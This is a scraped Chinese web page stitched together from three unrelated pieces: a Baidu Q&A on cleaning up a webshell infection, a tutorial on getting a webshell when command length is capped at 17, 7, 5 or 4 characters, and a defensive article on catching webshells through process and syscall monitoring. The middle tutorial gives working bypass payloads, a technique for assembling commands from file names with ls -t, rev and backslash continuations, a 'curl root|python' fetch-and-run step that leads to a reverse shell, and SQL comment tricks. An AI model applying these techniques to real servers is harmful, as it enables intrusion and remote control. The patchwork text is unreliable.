我通过一个webshell攻击不小心删除了一个网站下的database目录。现在网站打不开了

网站被入侵了传了webshell怎么办_百度知道
网站被入侵了传了webshell怎么办
答题抽奖
首次认真答题后
即可获得3次抽奖机会,100%中奖。
网站安全 服务器安全
网站安全、服务器安全服务提供商
网站安全 服务器安全
青岛四海通达电子科技有限公司坐落于美丽的海滨城市青岛,是专业致力于网站安全和服务器安全的领导者和推动者。安全服务于互联网金融、游戏平台、移动APP软件、O2O&电商、支付平台、企业网站等
如何防止网站被上传WebShell网页木马?1 )网站服务器方面,开启系统自带的防火墙,增强管理员账户密码强度等,更改远程桌面端口,定期更新服务器补丁和杀毒软件。2)定期的更新服务器系统漏洞(windows 、linux centos系统),网站系统升级,尽量不适用第三方的API插件代码。3)如果自己对程序代码不是太了解的话,建议找网站安全公司去修复网站的漏洞,以及代码的安全检测与木马后门清除,国内推荐SINE安全公司、绿盟安全公司、启明星辰等的网站安全公司,做深入的网站安全服务,来保障网站的安全稳定运行,防止网站被挂马之类的安全问题。4)尽量不要把网站的后台用户的密码设置的太简单化,要符合10到18位的大小写字母+数字+符号组合。5)网站后台管理的路径一定不能用默认的admin或guanli或manage 或文件名为admin.asp的路径去访问。6)服务器的基础安全设置必须要详细的做好,端口的安全策略,注册表安全,底层系统的安全加固,否则服务器不安全,网站再安全也没用
采纳数:306
获赞数:985
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。webshell安全防范从根本上解决动态网页脚本的安全问题,要做到防注入、防爆库、防COOKIES欺骗、防跨站攻击(xss)等等,务必配置好服务器FSO权限。最小的权限=最大的安全。防范webshell的最有效方法就是:可写目录不给执行权限,有执行权限的目录不给写权限。防范方法:1、建议用户通过ftp来上传、维护网页,尽量不安装asp的上传程序。2、对asp上传程序的调用一定要进行身份认证,并只允许信任的人使用上传程序。3、asp程序管理员的用户名和密码要有一定复杂性,不能过于简单,还要注意定期更换。4、到正规网站下载程序,下载后要对数据库名称和存放路径进行修改,数据库名称要有一定复杂性。5、要尽量保持程序是最新版本。6、不要在网页上加注后台管理程序登陆页面的链接。7、为防止程序有未知漏洞,可以在维护后删除后台管理程序的登陆页面,下次维护时再通过上传即可。8、要时常备份数据库等重要文件。9、日常要多维护,并注意空间中是否有来历不明的asp文件。10、尽量关闭网站搜索功能,利用外部搜索工具,以防爆出数据。11、利用白名单上传文件,不在白名单内的一律禁止上传,上传目录权限遵循最小权限原则一不小心中了webshell!找出文件和上传的内容找不到的话网站数据恢复到之前没有中webshell之后要换ftp密码还有后台路径现在可以做网站https
翻身的生鱼片
翻身的生鱼片
采纳数:247
获赞数:366
自己不会的话就找个web安全的人帮忙弄一下,测试一下什么原因被黑客渗透进去的,然后修复下漏洞,装个安全狗之类的,网站经常备份
本回答被提问者采纳
采纳数:32
获赞数:61
1、首先需要你找到入侵漏洞。网站程序的安全性是有区别的,还有服务器方面,打好补丁。最好安装安全程序。2、漏洞打好补丁后,需要找到被入侵放入的文件,将其删除,并将入侵后遗留的垃圾信息同时删除。3、记得备份网站数据,以免再次被入侵。如果你有整站数据备份,可以直接将网站清空,整体恢复,因为入侵文件不太好找到。可根据文件修改时间来找。
我是你老婆男友
来自电脑网络类芝麻团
我是你老婆男友
采纳数:327
获赞数:672
参与团队:
一、什么是WebShell木马?&WebShell通常是以asp、php、jsp、asa或者cgi等网页文件形式存在的—种命令执行环境,也可以称为—种网页后门。黑客在入侵网 站后,通常会将WebShell后门文件与网站服务器WEB目录下正常的网页文件混在—起,然后就可以使用浏览器来访问这些后门,得到命令执行环境,以达 到控制网站或者WEB系统服务器的目的。这样就可以上传下载文件、查看数据库、执行任意程序命令等。二、WebShell是如何入侵系统的?1)利用系统前台的上传业务,上传WebShell脚本,上传的目录往往具有可执行的权限。在web中有上传图像、上传资料文件的地方,上传完后通 常会向客户端返回上传的文件的完整URL信息,有时候不反馈,我们也可以猜到常见的image、upload等目录下面,如果Web对网站存取权限或者文 件夹目录权限控制不严,就可能被利用进行webshell攻击,攻击者可以利用上传功能上传一个脚本文件,然后在通过url访问这个脚本,脚本就被执行。 然后就会导致黑客可以上传webshell到网站的任意目录中,从而拿到网站的管理员控制权限。2)客户获取管理员的后台密码,登陆到后台系统,利用后台的管理工具向配置文件写入WebShell木马,或者黑客私自添加上传类型,允许脚本程序类似asp、php的格式的文件上传。3)利用数据库备份与恢复功能获取webshell。如备份时候把备份文件的后缀改成asp。或者后台有mysql数据查询功能,黑客可以通过执行 select..in To outfile 查询输出php文件,然后通过把代码插入到mysql,从而导致生成了webshell的木马。4)系统其他站点被攻击,或者服务器上还搭载了ftp服务器,ftp服务器被攻击了,然后被注入了webshell的木马,然后网站系统也被感染了。5)黑客直接攻击Web服务器系统,Web服务器在系统层面也可能存在漏洞,如果黑客利用其漏洞攻击了服务器系统,那么黑客获取了其权限,则可以在web服务器目录里上传webshell文件。三、WebShell能够肆虐的重要原因是什么?1)WebShell能够被注入很大程度是由于win2003 IIS6.0的环境下造成的。在IIS6.0环境下,我们上传一个test..jpg的shell文件,发现在上传的时候,能够成功上传,因为监 测为jpg的图片文件,但是在iis6.0解析的时候却当成了asp的动态网页文件被执行。因此我们知道webshell木马常见的特 征:x..png,x..txt...2)WebShell的恶意脚本是和正常的网页文件混在一起的,同时被黑客控制的服务器和远处主机都是通过80端口来传递数据的,不会被防火墙拦截,一般也不会在系统日志中留下记录,,具有极强的隐蔽性,一般不容易被查杀。四、如何防止系统被植入WebShell?1)web服务器方面,开启防火墙,杀毒软件等,关闭远程桌面这些功能,定期更新服务器补丁和杀毒软件。2)加强管理员的安全意识,在服务器上不浏览不安全网站,定期修改密码,同时对服务器上的ftp类似的也要加强安全管理,防止被系统的木马感染。3)加强权限管理,对敏感目录进行权限设置,限制上传目录的脚本执行权限,不允许执行脚本。建议用IIS6.0以上版本,同时不要用默认80端口。4)程序修补漏洞,程序要优化上传x..png这样类似的文件。
来自电脑网络类芝麻团
采纳数:115
获赞数:223
擅长:暂未定制
参与团队:
1、网站被上传webshell一般情况下网站是由于漏洞造成,因此需要通过日志来找到网站漏洞地址然后修补漏洞2、删除网站webshell3、使用杀毒软件查杀网站程序以及使用一些WAF防火墙来查杀4、网站找到漏洞并删除webshell以后需要做好网站安全!
Slingnayoyo
Slingnayoyo
擅长:暂未定制
下载个安全狗,之后进行全面的查杀,一般即可把后门处理干净
忧伤小萌友
忧伤小萌友
获赞数:841
第一步:首先找到被上传的webshell第二步:找到webshell进行删除第三步:更换网站登录账户密码尽量数字+符号+英文,修改后台登录地址,修改服务器密码,修改ftp密码以上几点希望对你有帮助,如果有其他问题,可以咨询易美科技
其他9条回答
为你推荐:
其他类似问题
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。0x01 问题提出
还记得上篇文章,我们讲到了一些PHP的一些如何巧妙地绕过数字和字母受限的技巧,今天我要给大家分享的是如何在命令长度受限的情况下成功get到webshell,以及关于函数参数受限的突破,mysql的一些骚操作技巧~~~
0x02 问题分析
我们先看个例子:
$param = $_REGUEST['param'];
if(strlen($param) & 17){
eval($param);
上面这部分意思只是叫我们绕过长度受限就可以执行代码。这个其实就很简单了,我们可以采用调用eval或者assert这种后门函数就可以直接绕过了~~
eval函数中参数是字符,比如像下面这样子:
eval('echo 1;');
assert函数中参数为表达式(或者为函数),我们可以像下面这样子去实现:
assert(phpinfo())
而我参看了PHP手册才了解到,assert是函数,eval不是函数,是一种语言构造器,eval($a)中$a只能是字符串,assert($a)中$a可以是php代码,也可以是php代码的字符串。assert($a)的$a如果是字符串形式不能有2个以上的分号,如果有2个以上的分号只执行到第一个,使用assert来执行多条php语句可借助eval来实现。
例如像下面这个样子:
assert(eval("echo 1;echo 2;"));
结果如下:
比如像上面这句,如果是assert(eval(“echo 1;echo 2”)),这样写是不会执行echo 1也不会执行echo 2的,因为eval使用的字符串要是有分号的php语句,只要有字符串,它就可以当作命令来执行~~
更多细节我们可以参看PHP手册:
eval函数:
assert函数:
那如果像下面这个例子呢?
$param = $_REGUEST['param'];
strlen($param) & 17 &&
stripos($param, 'eval') == false &&
stripos($param, 'assert') == false
eval($param);
striops函数是用来查找目标字符串在字符串中第一次出现的位置。这里的意思是限制了长度最长为 16 个字符,而且不能用 eval 或 assert,这样我们又该怎么执行命令。
我们可以通过命令执行来绕过限制:
param=`$_GET[1]`;&1=bash
当然了,我们也可以用 exec函数:
param=exec($_GET[1]);
exec可以执行一个外部程序,具体的可以参看PHP手册:
那如果是这个呢?
$command = 'dir '.$_POST['dir'];
$escaped_command = escapeshellcmd($command);
var_dump($escaped_command);
file_put_contents('out.bat',$escaped_command);
system('out.bat');
我们对其进行测试:
我们应该如何去绕过呢?
我们来看看这些函数,escapeshellcmd() 函数对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者执行操作符之前进行转义。
escapeshellcmd() 函数的详细用法参看PHP手册:
那么这个函数具体会转义哪些字符呢?
我们通读了源码可以知道,下图这些字符都可以用^来取代其意义。也就是没办法用& |&来执行其他命令,只能列目录
感兴趣的同学可以研究一下源码,我把源码传到本地了:
那么我们萌生了一个这样的一个tips:执行.bat文件的时候,利用%1a,可以绕过过滤执行命令,我们做了如下尝试:
前面我们已经说了如何限制在16个字符内的情况下拿到webshell,在二进制漏洞利用中,当我们遇到可控数据只有8字节的情况,去掉字符串尾的\0,限制在7个字符。那么在这种情况下,我们又该怎么办呢?
还是看之前那个例子,把命令长度变成7。
$param = $_REGUEST['param'];
if(strlen($param) & 8){
eval($param);
这让我想起赵本山演的那个小品《钟点工》里面的一个问题,把大象放进冰箱应该分为几步?
此时我们需要铺垫一些基础知识了。
我们可以进行命令的拼装。
我们来个条件更加苛刻的问题,命令长度限制在5,如何完成注入,成功get到webshell呢?
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) &= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
highlight_file(__FILE__);
举个例子,我们要执行echo hello这个命令,我们应该怎么办呢?
我们可以进行如下构造:
结果如下:
我们可以看到创建了两个文件,分别是echo和hello,我们执行*命令
我们可以看到,执行了echo hello这行命令,所以直接打印出了hello字符串
我们可以通过echo *来查看一下*里面的内容
我们通过将&echo和&hello&完成命令拼接,然后用*&组成并执行了命令echo hello
如果条件再苛刻一点呢?把命令长度限制在4,如何完成注入,成功get到webshell呢?
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) &= 4) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
highlight_file(__FILE__);
比如,我们想要执行ls -l命令,我们可以模仿上面这种做法,进行如下构造:
结果如下:
我们可以看到创建了两个文件,分别是ls和-l,我们执行*命令
诶,这咋回事啊,咋还报错了呢?
其实啊,我们刚才生成的echo和hello,e的ASCII值要小于h,所以排序的时候自动将echo排在前面,hello排在后面,而ls我们可以看到,此时文件的显示顺序是-l在ls的前面。如果我们执行* 其实是执行-l ls会弹出报错信息
那么我们又该如何获得ls -l呢?
0x03 解决方案
01.命令内容反序
最简单的一种方式就是按照命令内容反着转过来。
我们可以这个命令字符序列反过来看&l- sl,这样是不是顺序正好满足要求呢?接下来我们只需要用一个可以把字符反过来的命令rev,就可以完成这个功能
所以首先第一步,我们先创建了两个文件,分别是l-和sl。
结果如下:
然后将l- sl组合写入文件v,然后查看v文件里面的内容。
这里面我们可以看到文件v中多了一个v,对我们命令造成干扰,如果我们只想文件中存在l-和sl,那该怎么办呢?
这里有个小trick,dir a b&c这个命令可以将a b写到文件c中,不会写入多余的命令进去。
我们创建一个名为dir的文件,然后执行*&v,可以获得l-&和ls
结果如下:
然后我们就只需要对这个命令字符序列反转一下就行了,这里我们有一个rev命令,正好可以将内容反序。
所以我们需要产生一个名为rev的文件,然后执行*v&,此时命令相当于rev v,命名为v是为了被通配符匹配,这样就产生了我们要的输出ls -l。
&结果如下:
然后就是输出到文件x,然后就可以执行sh x,成功以4个字符执行长度为5的ls -l命令。
结果如下:
把上面写的命令编成一个shell脚本如下:
#!/usr/bin/env bash
我们可以看到,整个命令链长度均小于等于4,这样我们就可以愉快的执行ls -l命令了~
02.时间排序技巧
在ls命令里面有个参数-t,可以根据出现的时间进行排序,先生成的文件排在后面,后生成的文件排在前面,类似于栈的结构。
假设我们要生成ls -t &g命令,它的逆序是g& t- sl,按照ASCII值排序方式的话,t-会在sl后面,不满足需求。所以我们变通一下,生成命令ls -th &g,逆序就是g& ht- sl,正好满足顺序要求。
结果如下:
03.续行符技巧拼接命令
&Linux里面有个神奇的符号\(反斜杠),可以进行命令的续行,比如下面这个例子,我创建了两个文件a和b,我们通过ls命令查看效果和续行效果是一样的。
结果如下:
这样,我们就可以构造一连串的拼接命令进行续行操作。再比如,我要构造命令curl root|python
结果如下:
这里我们可能会有点疑问,&th\\这里看着是5个字符,超过了4个的限制,实际上是因为shell环境需要输入\\产生\,但是php代码exec时,只需要输入\即可产生\,比如&exec(“&th\”)即可。所以这里实际上是不超过4个字符的。
&我们再执行ls -th&g,把这些按照时间顺序导入到g文件里面,再查看一下g文件
然后执行sh g反弹shell即可,这里我就不演示给大家看了,大家可以自己在本机上进行尝试即可~~
这里对如何在命令长度受限的情况下成功get到webshell做个小结:
w长度最短的命令
ls -t 以创建时间来列出当前目录下所有文件
文件列表以[换行符]分割每个文件
引入 `\` 转义ls时的换行
换行不影响命令执行
成功构造任意命令执行,写入Webshell
关于mysql部分还有一些注释技巧,我给大家列一下:
[#] 行内注释
[– ] 行内注释,注意末尾的空格
[/*…*/] 段注释,可多行
[`] 某些情况下,可以作为注释
[;] 支持多句执行的情况下,可直接用分号闭合第一句SQL语句
具体的参考P牛的课件:
0x04 扩展阅读
共享此文章:赞过:赞 正在加载……最近国内某著名安全公司的工程师来我们公司与我们进行了安全技术交流,交流中展示了一种基于PHP内核来检测php的webshell的demo,的确很牛,但访问一个页面就会出现很多信息,在页面较多访问量较大的情况下会产生海量日志,感觉真正投入使用还需要进行较多优化。
这里我介绍一下我以前使用的两种方法来检测webshell,应该说效果比这个明显很多,一旦有人利用webshell执行命令都会被发现,供大家参考。在介绍我的思路之前,我们先简单小结一下常见的webshell检测方法。
常见的webshell检测方法
关于webshell的检测与绕过,网上有较多的文章进行过讨论。我按自己的理解简单总结如下:
基于特征码对文件进行扫描
Webshell与正常的网页文件肯定存在着一些特定的区别,利用这些区别就可以找到webshell,我们把这些特定的区别称之为特征码。Webshell的特征码包括:一些关键的函数如eval、system、shell_exec等;也包括一些黑客的版权信息比如4ngel、wofeiwo、c99shell等。这种方法存在着误报和漏报的问题,误报主要在于正常的页面可能也会调用eval等函数,漏报在于特征码收集的是否全面以及存在着相应的规避措施。
比如下面这个某牛的webshell:
我自己写的webshell扫描工具能发现它主要因为我把preg_replace这个函数也做为了特征码,不太明白preg_replace函数作用的人可能就不会认识到这一点。当然如果扫描发现了一些黑客版权特征那基本上断定是webshell了。下图为我以前自己写的一个webshell扫描工具的效果图:
基于文件属性变化
除了扫描文件特征码之外,还可以结合文件变化来进行,比如html目录正常情况下不会有动态文件但突然哪天多了一个xx.php,或者其它目录多出一个属主为nobody的文件等。
一种思路就是监控文件的变化,当有变化的时候自动调用检测脚本进行检测等。
基于网络访问特征
现在有一些IPS会将webshell.php、diy.asp、cn99.php等做为特征报警,其实是在网络上截获url然后匹配特征进行。顺着这个思路,如果开发一套系统对网络上的http流量进行分析,提取出所有的访问页面、参数、访问方式等信息存入数据库,当有新增的页面或页面新如来一个访问参数或者请求方式由GET变为POST时就可能存在异常。但是这种方案实施和运维工作量会比较大,而且无法支持https网站(除非导入网站证书解密)。
基于php内核的检测
不管webshell代码怎么变形,最终都要经过php解析引擎解析后执行,在这个时候所有的操作对你都是可见的。基于这个思路,一些牛人开始设计基于php内核的检测方式,目前还没有一款相对成熟的产品,本次某安全公司过来演示的也只是一个demo。
另类思路检测webshell
上传webshell上来之后,黑客会进行什么操作?用webshell的浏览目录功能到处逛?还是会用到其执行命令的功能比如反弹个shell?执行这些操作与正常的用户访问页面到底有什么区别?基于此,在和一些朋友的讨论下,我提出了基于进程上下文的方案,并且在真实环境进行了测试。后面我又研究了基于系统调用的方案并且在真实环境进行了测试,这里一并介绍给大家。
基于进程上下文的检测
linux上的webshell基本上都具备反弹shell功能,一旦有人利用此功能反弹shell,系统上就会出现相应的进程变化,利用这种变化就能发现一些异常。比如某系统是nginx以php-cgi方式运行php,而且nginx以nobody权限运行,那执行:ps-ef|grep
nobody|grep-vphp-cgi|grep-vnginx|grep-vgrep就能获取到可疑的进程,写一个脚本把可疑的进程记录并发邮件出来,然后做个crontab一分钟执行一次这个脚本。以安全天使的phpwebshell为例进行测试,得到以下数据:当使用c代码模式反弹时会发现:
00:00:00lynx
00:00:00sh-cecho`uname-a`;echo
`id`;/bin/sh
00:00:00/bin/sh
尝试上传一个perl后门利用webshell执行时会发现:
/usr/local/zeus/htdocs/www.x.com/signon.pl121.9.227.806666
:16?00:00:00sh-i
尝试上传一个py后门上去利用webshell执行时会发现:
/usr/local/zeus/htdocs/www.x.com/cleanup.py121.9.227.806666
:19pts/100:00:00/bin/sh
00:00:00perl
00:00:00python
另外,也可以考虑反弹shell其实会调用sh命令,也可以ps-ef|grepsh获取到所有的bash,然后看其父进程ID对应的cwd+exe的组合是否为/usr/sbin/sshd。以下为在某网站服务器上进行的相应测试。
[root@testbin]#ps-ef|grepsh|grep-vgrep
00:13:31/usr/sbin/sshd
00:00:00/bin/sh
/usr/local/mysql/bin/mysqld_safe--user=mysql
00:00:00sshd:root1@pts/0
00:00:00-bash
nobody4:14pts/1
00:00:00/bin/sh
我们看进程6442的相关信息(中间无关信息已省略)
[root@testbin]#ll/proc/6442
dr-xr-xr-x2rootroot0Mar314:43attr
-r--r--r--1rootroot0Mar312:47cmdline
lrwxrwxrwx1rootroot0Mar314:43cwd-/
lrwxrwxrwx1rootroot0Mar312:46exe-/usr/sbin/sshd
lrwxrwxrwx1rootroot0Mar314:43root-/
[root@testbin]#
而看进程11387的相关信息(中间无关信息已省略)
[root@testbin]#ll/proc/11387
dr-xr-xr-x2nobodynobody0Mar314:34attr
-r--r--r--1nobodynobody0Mar314:14cmdline
lrwxrwxrwx
/usr/local/zeus/htdocs/www.x.com
lrwxrwxrwx1nobodynobody0Mar314:34exe-/usr/bin/python
lrwxrwxrwx1nobodynobody0Mar314:34root-/
[root@testbin]#
通过判断cwd和exe组合起来是否为/usr/sbin/sshd就可以轻易的发现异常的shell连接,其实现也很简单,就不再多说了。
基于系统调用来检测webshell这个思路起源于我当初对bash记录的研究,当时在想,如果我们监控一下运行php的进程在系统上执行了哪些系统调用或命令,在webshell执行与正常情况下是否有一些不同的系统调用,利用这些不同就能抓到webshell。当然,这里的记录命令不同于在登录到linux,调用/bin/bash执行命令,需要用专门的工具来进行记录。经过我测试,有一款叫Snoopy的开源工具能实现这个功能,它的介绍如下:
Snoopyisdesignedtoaidthetaskofasysadminbyprovidingalogofcommands
executed.Snoopyiscompletelytransparenttotheuserandapplications.Itislinked
intoprogramstoprovideawrapperaroundcallstoexecve().Loggingisdonevia
syslogdandwrittentoauthpriv,allowingsecureoffsiteloggingofactivity.
开源的东西好是好,但需要进行定制,没有定制的snoopy会输出所有的系统调用系统,我们将其代码进行修改,只记录nobody的进程
snoopy.c的代码:
#ifSNOOPY_ROOT_ONLY
if((geteuid()!=0)(getuid()!=0)){
将其中的0改为nobody的uid即99之后,进行编译安装,针对安全天使的webshell进行测试效果如下图:
从图中可以看到,我们在webshell里尝试执行了很多命令,其中还利用内置的perl模式执行了反弹后门,但在正常浏览网页的时候并不会出现这些调用,所以说一旦有就可以认为是异常。由于snoopy是把日志写入syslog的,即只需要把各台机器的syslog集中然后进行统一分析即可实时的发现异常。
这两种思路实施起来都相对比较容易,效果也非常明显,即一旦有人访问webshell执行命令就能被发现。两种思路需要大家结合自己企业的现状进行适当优化,比如syslog集中采用syslog-ng或者日志送往SOC并在SOC上做规则对事件进行分析并生成相应告警。
但是请注意,本文所讨论的两种思路有一个基本的前提,就是webshell要被人访问,如果一个webshell隐藏在服务器上许多年都没有访问,靠这种方式是发现不了的.

我要回帖

更多关于 webshell购买 的文章

 

随机推荐